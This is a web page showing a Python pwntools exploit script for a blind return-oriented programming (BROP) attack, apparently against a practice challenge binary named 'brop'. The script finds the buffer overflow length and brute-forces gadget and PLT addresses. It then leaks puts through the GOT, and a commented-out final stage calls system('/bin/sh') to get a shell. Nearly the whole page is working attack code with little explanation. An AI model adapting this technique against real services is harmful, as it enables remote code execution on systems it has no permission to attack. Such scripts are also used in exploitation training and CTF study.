Skip to content

exp

复制本地路径 | 在线编辑

原始文件为 .py 代码,本文是转换后的 Markdown 文件。

from pwn import *

def getbufferflow_length():
    i = 1
    while 1:
        try:
            sh = process('./brop')
            sh.recvuntil('WelCome my friend,Do you know password?\n')
            sh.send(i * 'a')
            output = sh.recv()
            sh.close()
            print(output)
            if not output.startswith(b'No password'):
                return i - 1
            else:
                i += 1
        except EOFError:
            sh.close()
            return i - 1

def check_stop_gadget(length, addr):
    try:
        sh = process('./brop')
        sh.recvuntil('password?\n')
        payload = b'a' * length + p64(addr) + b'a' * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return content.startswith(b'WelCome')
    except Exception:
        sh.close()
        return False

def check_brop_gadget(length, stop_gadget, addr):
    try:
        sh = process('./brop')
        sh.recvuntil('password?\n')
        payload = b'a' * length + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*8
        sh.sendline(payload)
        content = sh.recv(timeout=1)
        sh.close()
        if not content.startswith(b'WelCome'):
            return False
        return (not check_stop_gadget(length, addr))
    except Exception as e:
        sh.close()
        return False

def check_puts_plt(length, rdi_ret, addr):
    try:
        sh = process('./brop')
        sh.recvuntil('password?\n')
        payload = b'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + b'a' * 8
        sh.sendline(payload)
        content = sh.recv(timeout=1)
        sh.close()
        return (content.startswith(b'\x7fELF'))
    except Exception:
        sh.close()
        return False

def gets_puts_got(length, rdi_ret, puts_plt):
    sh = process('./brop')
    sh.recvuntil('password?\n')
    payload = b'A' * length + p64(rdi_ret) + p64(puts_plt) + p64(puts_plt) + b'a' * 8
    sh.sendline(payload)
    content = sh.recv(timeout=1)
    sh.close()
    # 这里需要写一下说明,可能还不太对
    jmp_addr = ( u64(content[2:5].ljust(8, b'\x00')) )
    print(disasm(content, arch='amd64'))
    return puts_plt + 0x6 + jmp_addr

def gets_puts_addr(length, rdi_ret, puts_plt, puts_got):
    sh = process('./brop')
    sh.recvuntil('password?\n')
    payload = b'A' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + b'a' * 8
    sh.sendline(payload)
    content = sh.recv(timeout=1)
    sh.close()
    return u64(content.ljust(8, b'\x00'))

# bufferflow_len = getbufferflow_length()
bufferflow_len = 72

# stop_addr = 0x400500 - 1
# while True:
#     stop_addr += 1
#     print(hex(stop_addr))
#     if check_stop_gadget(bufferflow_len, stop_addr):
#         break
stop_addr = 0x4005d0

# brop_addr = 0x400700 - 1
# while True:
#     brop_addr += 1
#     print(hex(brop_addr))
#     if check_brop_gadget(bufferflow_len, stop_addr, brop_addr):
#         break
brop_addr = 0x4007ba
rdi_ret = brop_addr + 9

# 这里以 0x10 为步长来遍历,因为 plt 最后一个字节一定是 0
# puts_plt = 0x400000 - 0x10
# while True:
#     puts_plt += 0x10
#     print(hex(puts_plt))
#     if check_puts_plt(bufferflow_len, rdi_ret, puts_plt):
#         break
puts_plt = 0x400570

# 这里需要写一下说明,可能还不太对
puts_got = gets_puts_got(bufferflow_len, rdi_ret, puts_plt)
puts_addr = gets_puts_addr(bufferflow_len, rdi_ret, puts_plt, puts_got)

# libc = LibcSearcher('puts', puts_addr)
# libc_base = puts_addr - libc.dump('puts')
# system_addr = libc_base + libc.dump('system')
# binsh_addr = libc_base + libc.dump('str_bin_sh')
# payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
#     system_addr) + p64(stop_gadget)
# sh.sendline(payload)
# sh.interactive()

Comments